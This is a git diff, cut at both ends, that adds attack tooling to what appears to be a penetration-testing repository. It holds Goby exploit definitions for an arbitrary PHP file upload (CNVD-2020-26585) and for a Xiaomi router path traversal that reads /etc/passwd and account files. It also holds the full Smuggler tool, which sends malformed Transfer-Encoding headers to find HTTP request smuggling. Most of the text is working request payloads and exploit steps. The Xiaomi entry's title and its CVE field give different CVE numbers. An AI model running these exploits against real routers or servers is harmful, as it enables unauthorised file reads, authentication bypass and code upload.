+ } + ] + }, + "SetVariable": [ + "date|lastbody|regex|.*Uploads\\\\\\/(.*?)\\\\\\/.*", + "file|lastbody|regex|.*Uploads\\\\\\/.*\\\\\\/(.*?)\\\"" + ] + }, + { + "Request": { + "method": "GET", + "uri": "/Public/Uploads/{{{date}}}/{{{file}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "921378126371623762173617", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/index.php?s=/home/page/uploadImg", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0", + "Content-Length": "239", + "Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617", + "Accept-Encoding": "gzip" + }, + "data_type": "text", + "data": "----------------------------921378126371623762173617\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"test.<>php\"\nContent-Type: text/plain\n\n\n----------------------------921378126371623762173617--" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "success", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "Public", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "Uploads", + "bz": "" + } + ] + }, + "SetVariable": [ + "date|lastbody|regex|.*Uploads\\\\\\/(.*?)\\\\\\/.*", + "file|lastbody|regex|.*Uploads\\\\\\/.*\\\\\\/(.*?)\\\"", + "output|lastbody" + ] + }, + { + "Request": { + "method": "GET", + "uri": "/Public/Uploads/{{{date}}}/{{{file}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": null, + "CVEIDs": null, + "CVSSScore": "", + "CNVDIDs": [ + "CNVD-2020-26585" + ], + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Disable": false, + "Recommandation": "" +}` + + gopoc.ExpManager.AddExploit(gopoc.NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} + +// generate by genpoc: goby-cmd -mode genpoc -CNVDID CNVD-2020-26585 -exportFile exploits\user\CNVD-export.go diff --git a/lib/goby/goby_pocs/xiaomi_Mi_wiFi_From_File_Read_To_Login_CVE_2019_18370.go b/lib/goby/goby_pocs/xiaomi_Mi_wiFi_From_File_Read_To_Login_CVE_2019_18370.go new file mode 100644 index 000000000..6004e4c5c --- /dev/null +++ b/lib/goby/goby_pocs/xiaomi_Mi_wiFi_From_File_Read_To_Login_CVE_2019_18370.go @@ -0,0 +1,109 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "xiaomi Mi wiFi From File Read To Login (CVE-2019-18370)", + "Description": "An issue was discovered on Xiaomi Mi WiFi R3G devices before 2.28.23-stable. There is a directory traversal vulnerability to read arbitrary files via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.", + "Product": "Mi Router", + "Homepage": "http://miwifi.com/", + "DisclosureDate": "2021-07-04", + "Author": "luckying1314@gmail.com", + "GobyQuery": "title=\"小米路由器\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system.

", + "Recommandation": "

Limit../ symbol, file download to determine the input path, the best way is that the file should be in the database for one-to-one correspondence, avoid by entering the absolute path to get files.

", + "References": [ + "https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "createSelect", + "value": "../etc/passwd,../etc/config/account", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api-third-party/download/extdisks../etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api-third-party/download/extdisks{{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "fileread" + ], + "CVEIDs": [ + "CVE-2019-18371" + ], + "CVSSScore": "3.1", + "AttackSurfaces": { + "Application": [ + "Mi Router" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/tools/Smuggler/.gitignore b/tools/Smuggler/.gitignore new file mode 100644 index 000000000..883987f83 --- /dev/null +++ b/tools/Smuggler/.gitignore @@ -0,0 +1,154 @@ +# Editors +.vscode/ +.idea/ + +# Vagrant +.vagrant/ + +# Mac/OSX +.DS_Store + +# Windows +Thumbs.db + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# Smuggler results +payloads/*.txt \ No newline at end of file diff --git a/tools/Smuggler/LICENSE b/tools/Smuggler/LICENSE new file mode 100644 index 000000000..e669a6419 --- /dev/null +++ b/tools/Smuggler/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 Evan Custodio + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/tools/Smuggler/README.md b/tools/Smuggler/README.md new file mode 100644 index 000000000..044977010 --- /dev/null +++ b/tools/Smuggler/README.md @@ -0,0 +1,139 @@ +``` + ______ _ + / _____) | | +( (____ ____ _ _ ____ ____| | _____ ____ + \____ \| \| | | |/ _ |/ _ | || ___ |/ ___) + _____) ) | | | |_| ( (_| ( (_| | || ____| | +(______/|_|_|_|____/ \___ |\___ |\_)_____)_| + (_____(_____| + + @defparam +``` + +# Smuggler + +An HTTP Request Smuggling / Desync testing tool written in Python 3 + +## Acknowledgements + +A special thanks to [James Kettle](https://skeletonscribe.net/) for his [research and methods into HTTP desyncs](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) + +And a special thanks to [Ben Sadeghipour](https://www.nahamsec.com/) for beta testing Smuggler and for allowing me to discuss my work at [Nahamcon 2020](https://nahamcon.com) + +## IMPORTANT +This tool does not guarantee no false-positives or false-negatives. Just because a mutation may report OK does not mean there isn't a desync issue, but more importantly just because the tool indicates a potential desync issue does not mean there definitely exists one. The script may encounter request processors from large entities (i.e. Google/AWS/Yahoo/Akamai/etc..) that may show false positive results. + +## Installation + +1) git clone https://github.com/defparam/smuggler.git +2) cd smuggler +3) python3 smuggler.py -h + +## Example Usage + +Single Host: +``` +python3 smuggler.py -u +``` + +List of hosts: +``` +cat list_of_hosts.txt | python3 smuggler.py +``` + +## Options + +``` +usage: smuggler.py [-h] [-u URL] [-v VHOST] [-x] [-m METHOD] [-l LOG] [-q] + [-t TIMEOUT] [--no-color] [-c CONFIGFILE] + +optional arguments: + -h, --help show this help message and exit + -u URL, --url URL Target URL with Endpoint + -v VHOST, --vhost VHOST + Specify a virtual host + -x, --exit_early Exit scan on first finding + -m METHOD, --method METHOD + HTTP method to use (e.g GET, POST) Default: POST + -l LOG, --log LOG Specify a log file + -q, --quiet Quiet mode will only log issues found + -t TIMEOUT, --timeout TIMEOUT + Socket timeout value Default: 5 + --no-color Suppress color codes + -c CONFIGFILE, --configfile CONFIGFILE + Filepath to the configuration file of payloads +``` + +Smuggler at a minimum requires either a URL via the -u/--url argument or a list of URLs piped into the script via stdin. +If the URL specifies `https://` then Smuggler will connect to the host:port using SSL/TLS. If the URL specifies `http://` +then no SSL/TLS will be used at all. If only the host is specified, then the script will default to `https://` + +Use -v/--vhost \ to specify a different host header from the server address + +Use -x/--exit_early to exit the scan of a given server when a potential issue is found. In piped mode smuggler will just continue to the next host on the list + +Use -m/--method \ to specify a different HTTP verb from POST (i.e GET/PUT/PATCH/OPTIONS/CONNECT/TRACE/DELETE/HEAD/etc...) + +Use -l/--log \ to write output to file as well as stdout + +Use -q/--quiet reduce verbosity and only log issues found + +Use -t/--timeout \ to specify the socket timeout. The value should be high enough to conclude that the socket is hanging, but low enough to speed up testing (default: 5) + +Use --no-color to suppress the output color codes printed to stdout (logs by default don't include color codes) + +Use -c/--configfile \ to specify your smuggler mutation configuration file (default: default.py) + +## Config Files +Configuration files are python files that exist in the ./config directory of smuggler. These files describe the content of the HTTP requests and the transfer-encoding mutations to test. + + +Here is example content of default.py: +```python +def render_template(gadget): + RN = "\r\n" + p = Payload() + p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN + # p.header += "Transfer-Encoding: chunked" +RN + p.header += gadget + RN + p.header += "Host: __HOST__" + RN + p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN + p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN + p.header += "Content-Length: __REPLACE_CL__" + RN + return p + + +mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked") +mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked") +mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked") +mutations["space1"] = render_template("Transfer-Encoding : chunked") + +for i in [0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF]: + mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i)) + mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i)) + mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i)) + mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i)) + mutations["xprespace-%02x"%i] = render_template("X: X%cTransfer-Encoding: chunked"%(i)) + mutations["endspacex-%02x"%i] = render_template("Transfer-Encoding: chunked%cX: X"%(i)) + mutations["rxprespace-%02x"%i] = render_template("X: X\r%cTransfer-Encoding: chunked"%(i)) + mutations["xnprespace-%02x"%i] = render_template("X: X%c\nTransfer-Encoding: chunked"%(i)) + mutations["endspacerx-%02x"%i] = render_template("Transfer-Encoding: chunked\r%cX: X"%(i)) + mutations["endspacexn-%02x"%i] = render_template("Transfer-Encoding: chunked%c\nX: X"%(i)) +``` + +There are no input arguments yet on specifying your own customer headers and user-agents. It is recommended to create your own configuration file based on default.py and modify it to your liking. + +Smuggler comes with 3 configuration files: default.py (fast), doubles.py (niche, slow), exhaustive.py (very slow) +default.py is the fastest because it contains less mutations. + +specify configuration files using the -c/--configfile \ command line option + +## Payloads Directory +Inside the Smuggler directory is the payloads directory. When Smuggler finds a potential CLTE or TECL desync issue, it will automatically dump a binary txt file of the problematic payload in the payloads directory. All payload filenames are annotated with the hostname, desync type and mutation type. Use these payloads to netcat directly to the server or to import into other analysis tools. + +## Helper Scripts +After you find a desync issue feel free to use my Turbo Intruder desync scripts found Here: https://github.com/defparam/tiscripts +`DesyncAttack_CLTE.py` and `DesyncAttack_TECL.py` are great scripts to help stage a desync attack + +## License +These scripts are released under the MIT license. See [LICENSE](https://github.com/defparam/smuggler/blob/master/LICENSE). diff --git a/tools/Smuggler/configs/default.py b/tools/Smuggler/configs/default.py new file mode 100644 index 000000000..c40645ee3 --- /dev/null +++ b/tools/Smuggler/configs/default.py @@ -0,0 +1,31 @@ + +def render_template(gadget): + RN = "\r\n" + p = Payload() + p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN + # p.header += "Transfer-Encoding: chunked" +RN + p.header += gadget + RN + p.header += "Host: __HOST__" + RN + p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN + p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN + p.header += "Content-Length: __REPLACE_CL__" + RN + return p + + +mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked") +mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked") +mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked") +mutations["space1"] = render_template("Transfer-Encoding : chunked") + +for i in [0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF]: + mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i)) + mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i)) + mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i)) + mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i)) + mutations["xprespace-%02x"%i] = render_template("X: X%cTransfer-Encoding: chunked"%(i)) + mutations["endspacex-%02x"%i] = render_template("Transfer-Encoding: chunked%cX: X"%(i)) + mutations["rxprespace-%02x"%i] = render_template("X: X\r%cTransfer-Encoding: chunked"%(i)) + mutations["xnprespace-%02x"%i] = render_template("X: X%c\nTransfer-Encoding: chunked"%(i)) + mutations["endspacerx-%02x"%i] = render_template("Transfer-Encoding: chunked\r%cX: X"%(i)) + mutations["endspacexn-%02x"%i] = render_template("Transfer-Encoding: chunked%c\nX: X"%(i)) + diff --git a/tools/Smuggler/configs/doubles.py b/tools/Smuggler/configs/doubles.py new file mode 100644 index 000000000..618583436 --- /dev/null +++ b/tools/Smuggler/configs/doubles.py @@ -0,0 +1,27 @@ + +def render_template(gadget): + RN = "\r\n" + p = Payload() + p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN + p.header += gadget + RN + p.header += "Host: __HOST__" + RN + p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN + p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN + p.header += "Content-Length: __REPLACE_CL__" + RN + return p + +for i in range(0x1,0x21): + mutations["%02x-%02x-XX-XX"%(i,i)] = render_template("%cTransfer-Encoding%c: chunked"%(i,i)) + mutations["%02x-XX-%02x-XX"%(i,i)] = render_template("%cTransfer-Encoding:%cchunked"%(i,i)) + mutations["%02x-XX-XX-%02x"%(i,i)] = render_template("%cTransfer-Encoding: chunked%c"%(i,i)) + mutations["XX-%02x-%02x-XX"%(i,i)] = render_template("Transfer-Encoding%c:%cchunked"%(i,i)) + mutations["XX-%02x-XX-%02x"%(i,i)] = render_template("Transfer-Encoding%c: chunked%c"%(i,i)) + mutations["XX-XX-%02x-%02x"%(i,i)] = render_template("Transfer-Encoding:%cchunked%c"%(i,i)) + +for i in range(0x7F,0x100): + mutations["%02x-%02x-XX-XX"%(i,i)] = render_template("%cTransfer-Encoding%c: chunked"%(i,i)) + mutations["%02x-XX-%02x-XX"%(i,i)] = render_template("%cTransfer-Encoding:%cchunked"%(i,i)) + mutations["%02x-XX-XX-%02x"%(i,i)] = render_template("%cTransfer-Encoding: chunked%c"%(i,i)) + mutations["XX-%02x-%02x-XX"%(i,i)] = render_template("Transfer-Encoding%c:%cchunked"%(i,i)) + mutations["XX-%02x-XX-%02x"%(i,i)] = render_template("Transfer-Encoding%c: chunked%c"%(i,i)) + mutations["XX-XX-%02x-%02x"%(i,i)] = render_template("Transfer-Encoding:%cchunked%c"%(i,i)) \ No newline at end of file diff --git a/tools/Smuggler/configs/exhaustive.py b/tools/Smuggler/configs/exhaustive.py new file mode 100644 index 000000000..2d2602534 --- /dev/null +++ b/tools/Smuggler/configs/exhaustive.py @@ -0,0 +1,52 @@ + +def render_template(gadget): + RN = "\r\n" + p = Payload() + p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN + p.header += gadget + RN + p.header += "Host: __HOST__" + RN + p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN + p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN + p.header += "Content-Length: __REPLACE_CL__" + RN + return p + +mutations["nameprefix1"] = render_template(" Transfer-Encoding: chunked") +mutations["tabprefix1"] = render_template("Transfer-Encoding:\tchunked") +mutations["tabprefix2"] = render_template("Transfer-Encoding\t:\tchunked") +mutations["spacejoin1"] = render_template("Transfer Encoding: chunked") +mutations["underjoin1"] = render_template("Transfer_Encoding: chunked") +mutations["smashed"] = render_template("Transfer Encoding:chunked") +mutations["space1"] = render_template("Transfer-Encoding : chunked") +mutations["valueprefix1"] = render_template("Transfer-Encoding: chunked") +mutations["vertprefix1"] = render_template("Transfer-Encoding:\u000Bchunked") +mutations["commaCow"] = render_template("Transfer-Encoding: chunked, cow") +mutations["cowComma"] = render_template("Transfer-Encoding: cow, chunked") +mutations["contentEnc"] = render_template("Content-Encoding: chunked") +mutations["linewrapped1"] = render_template("Transfer-Encoding:\n chunked") +mutations["quoted"] = render_template("Transfer-Encoding: \"chunked\"") +mutations["aposed"] = render_template("Transfer-Encoding: 'chunked'") +mutations["lazygrep"] = render_template("Transfer-Encoding: chunk") +mutations["sarcasm"] = render_template("TrAnSFer-EnCODinG: cHuNkeD") +mutations["yelling"] = render_template("TRANSFER-ENCODING: CHUNKED") +mutations["0dsuffix"] = render_template("Transfer-Encoding: chunked\r") +mutations["tabsuffix"] = render_template("Transfer-Encoding: chunked\t") +mutations["revdualchunk"] = render_template("Transfer-Encoding: cow\r\nTransfer-Encoding: chunked") +mutations["0dspam"] = render_template("Transfer\r-Encoding: chunked") +mutations["nested"] = render_template("Transfer-Encoding: cow chunked bar") +mutations["spaceFF"] = render_template("Transfer-Encoding:\xFFchunked") +mutations["accentCH"] = render_template("Transfer-Encoding: ch\x96nked") +mutations["accentTE"] = render_template("Transf\x82r-Encoding: chunked") +mutations["x-rout"] = render_template("X:X\rTransfer-Encoding: chunked") +mutations["x-nout"] = render_template("X:X\nTransfer-Encoding: chunked") +for i in range(0x1,0x20): + mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i)) + mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i)) + mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i)) + mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i)) + +for i in range(0x7F,0x100): + mutations["midspace-%02x"%i] = render_template("Transfer-Encoding:%cchunked"%(i)) + mutations["postspace-%02x"%i] = render_template("Transfer-Encoding%c: chunked"%(i)) + mutations["prespace-%02x"%i] = render_template("%cTransfer-Encoding: chunked"%(i)) + mutations["endspace-%02x"%i] = render_template("Transfer-Encoding: chunked%c"%(i)) + diff --git a/tools/Smuggler/payloads/README.md b/tools/Smuggler/payloads/README.md new file mode 100644 index 000000000..b93db33b3 --- /dev/null +++ b/tools/Smuggler/payloads/README.md @@ -0,0 +1,3 @@ +# Payloads Directory + +When Smuggler finds a potential issue it will dump a PoC of the the request into this directory \ No newline at end of file diff --git a/tools/Smuggler/smuggler.py b/tools/Smuggler/smuggler.py new file mode 100755 index 000000000..3dd790518 --- /dev/null +++ b/tools/Smuggler/smuggler.py @@ -0,0 +1,445 @@ +#!/usr/bin/python3 +# MIT License +# +# Copyright (c) 2020 Evan Custodio +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +import argparse +import re +import time +import sys +import os +import random +import string +import importlib +import hashlib +from copy import deepcopy +from time import sleep +from datetime import datetime +from lib.Payload import Payload, Chunked, EndChunk +from lib.EasySSL import EasySSL +from lib.colorama import Fore, Style +from urllib.parse import urlparse + +class Desyncr(): + def __init__(self, configfile, smhost, smport=443, url="", method="POST", endpoint="/", SSLFlag=False, logh=None, smargs=None): + self._configfile = configfile + self._host = smhost + self._port = smport + self._method = method + self._endpoint = endpoint + self._vhost = smargs.vhost + self._url = url + self._timeout = float(smargs.timeout) + self.ssl_flag = SSLFlag + self._logh = logh + self._quiet = smargs.quiet + self._exit_early = smargs.exit_early + self._attempts = 0 + self._cookies = [] + + def _test(self, payload_obj): + try: + web = EasySSL(self.ssl_flag) + web.connect(self._host, self._port, self._timeout) + web.send(str(payload_obj).encode()) + #print(payload_obj) + start_time = datetime.now() + res = web.recv_nb(self._timeout) + end_time = datetime.now() + web.close() + if res is None: + delta_time = end_time - start_time + if delta_time.seconds < (self._timeout-1): + return (2, res, payload_obj) # Return code 2 if disconnected before timeout + return (1, res, payload_obj) # Return code 1 if connection timedout + # Filter out problematic characters + res_filtered = "" + for single in res: + if single > 0x7F: + res_filtered += '\x30' + else: + res_filtered += chr(single) + res = res_filtered + #if '504' in res: + + #print("\n\n"+str(str(payload_obj))) + #print("\n\n"+res) + return (0, res, payload_obj) # Return code 0 if normal response returned + except Exception as exception_data: + #print(exception_data) + return (-1, None, payload_obj) # Return code -1 if some except occured + + def _get_cookies(self): + RN = "\r\n" + try: + cookies = [] + web = EasySSL(self.ssl_flag) + web.connect(self._host, self._port, 2.0) + p = Payload() + p.host = self._host + p.method = "GET" + p.endpoint = self._endpoint + p.header = "__METHOD__ __ENDPOINT__?cb=__RANDOM__ HTTP/1.1" + RN + p.header += "Host: __HOST__" + RN + p.header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36" + RN + p.header += "Content-type: application/x-www-form-urlencoded; charset=UTF-8" + RN + p.header += "Content-Length: 0" + RN + p.body = "" + #print (str(p)) + web.send(str(p).encode()) + sleep(0.5) + res = web.recv_nb(2.0) + web.close() + if (res is not None): + res = res.decode().split("\r\n") + for elem in res: + if len(elem) > 11: + if elem[0:11].lower().replace(" ", "") == "set-cookie:": + cookie = elem.lower().replace("set-cookie:","") + cookie = cookie.split(";")[0] + ';' + cookies += [cookie] + info = ((Fore.CYAN + str(len(cookies))+ Fore.MAGENTA), self._logh) + print_info("Cookies : %s (Appending to the attack)" % (info[0])) + self._cookies += cookies + return True + except Exception as exception_data: + error = ((Fore.CYAN + "Unable to connect to host"+ Fore.MAGENTA), self._logh) + print_info("Error : %s" % (error[0])) + return False + + def run(self): + RN = "\r\n" + mutations = {} + + if not self._get_cookies(): + return + + if (self._configfile[1] != '/'): + self._configfile = os.path.dirname(os.path.realpath(__file__)) + "/configs/" + self._configfile + + try: + f = open(self._configfile) + except: + error = ((Fore.CYAN + "Cannot find config file"+ Fore.MAGENTA), self._logh) + print_info("Error : %s" % (error[0])) + exit(1) + + script = f.read() + f.close() + + exec(script) + + for mutation_name in mutations.keys(): + if self._create_exec_test(mutation_name, mutations[mutation_name]) and self._exit_early: + break + + if self._quiet: + sys.stdout.write("\r"+" "*100+"\r") + + # ptype == 0 (Attack payload, timeout could mean potential TECL desync) + # ptype == 1 (Edgecase payload, expected to work) + def _check_tecl(self, payload, ptype=0): + te_payload = deepcopy(payload) + if (self._vhost == ""): + te_payload.host = self._host + else: + te_payload.host = self._vhost + te_payload.method = self._method + te_payload.endpoint = self._endpoint + + if len(self._cookies) > 0: + te_payload.header += "Cookie: " + ''.join(self._cookies) + "\r\n" + + if not ptype: + te_payload.cl = 6 # timeout val == 6, good value == 5 + else: + te_payload.cl = 5 # timeout val == 6, good value == 5 + te_payload.body = EndChunk+"X" + #print (te_payload) + return self._test(te_payload) + + # ptype == 0 (timeout payload, timeout could mean potential CLTE desync) + # ptype == 1 (Edgecase payload, expected to work) + def _check_clte(self, payload, ptype=0): + te_payload = deepcopy(payload) + if (self._vhost == ""): + te_payload.host = self._host + else: + te_payload.host = self._vhost + te_payload.method = self._method + te_payload.endpoint = self._endpoint + + if len(self._cookies) > 0: + te_payload.header += "Cookie: " + ''.join(self._cookies) + "\r\n" + + if not ptype: + te_payload.cl = 4 # timeout val == 4, good value == 11 + else: + te_payload.cl = 11 # timeout val == 4, good value == 11 + te_payload.body = Chunked("Z")+EndChunk + #print (te_payload) + return self._test(te_payload) + + + def _create_exec_test(self, name, te_payload): + def pretty_print(name, dismsg): + spacing = 13 + sys.stdout.write("\r"+" "*100+"\r") + msg = Style.BRIGHT + Fore.MAGENTA + "[%s]%s: %s" % \ + (Fore.CYAN + name + Fore.MAGENTA, " "*(spacing-len(name)), dismsg) + sys.stdout.write(CF(msg + Style.RESET_ALL)) + sys.stdout.flush() + + if dismsg[-1] == "\n": + ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]') + plaintext = ansi_escape.sub('', msg) + if self._logh is not None: + self._logh.write(plaintext) + self._logh.flush() + + + def write_payload(smhost, payload, ptype): + furl = smhost.replace('.', '_') + if (self.ssl_flag): + furl = "https_" + furl + else: + furl = "http_" + furl + if os.path.islink(sys.argv[0]): + _me = os.readlink(sys.argv[0]) + else: + _me = sys.argv[0] + fname = os.path.realpath(os.path.dirname(_me)) + "/payloads/%s_%s_%s.txt" % (furl,ptype,name) + pretty_print("CRITICAL", "%s Payload: %s URL: 